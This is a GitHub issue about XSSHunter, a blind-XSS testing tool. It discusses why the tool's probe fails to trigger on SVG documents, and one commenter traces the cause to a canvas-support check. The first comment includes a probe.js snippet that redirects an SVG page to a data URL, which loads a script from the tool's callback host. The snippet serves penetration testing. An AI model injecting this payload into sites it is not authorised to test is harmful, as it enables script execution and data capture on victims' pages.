Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

XSSHunter fails to trigger on SVGDocument #11

Open
xiaoyongwu opened this issue Oct 10, 2016 · 1 comment
Open

XSSHunter fails to trigger on SVGDocument #11

xiaoyongwu opened this issue Oct 10, 2016 · 1 comment

Comments

@xiaoyongwu
Copy link

This is a great tool for XSS testing and while I am playing with it, I noticed that if the Root document is an inline SVG image and using the XSSHunter probe, the XSSHunter JS callback fails to trigger.

Here's a change I made to probe.js by adding the following before if( document.readyState == "complete" ) { line that helps:

if( document instanceof SVGDocument ) {
    document.location="data:text/html,%3Cscript src=[HOST_URL]%3E%3C/script%3E";
}

Basically, this is just creating a data url and injecting the script again from an HTMLDocument or it might be just using the data url as the payload.

@bayotop
Copy link

bayotop commented Mar 31, 2017

Was debugging this for a while. The reason is that html2canvas checks canvas support (https://github.com/niklasvh/html2canvas/blob/83e9b85e1eb27993d48132af0fbfb4ee2f13c887/src/core.js#L58).

For my test file the following causes "No canvas support":

typeof(document.createElement("canvas").getContext)    
"undefined"

Not sure how much work it would be to implement a nice "canvas not supported" way to gather the information in another way.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants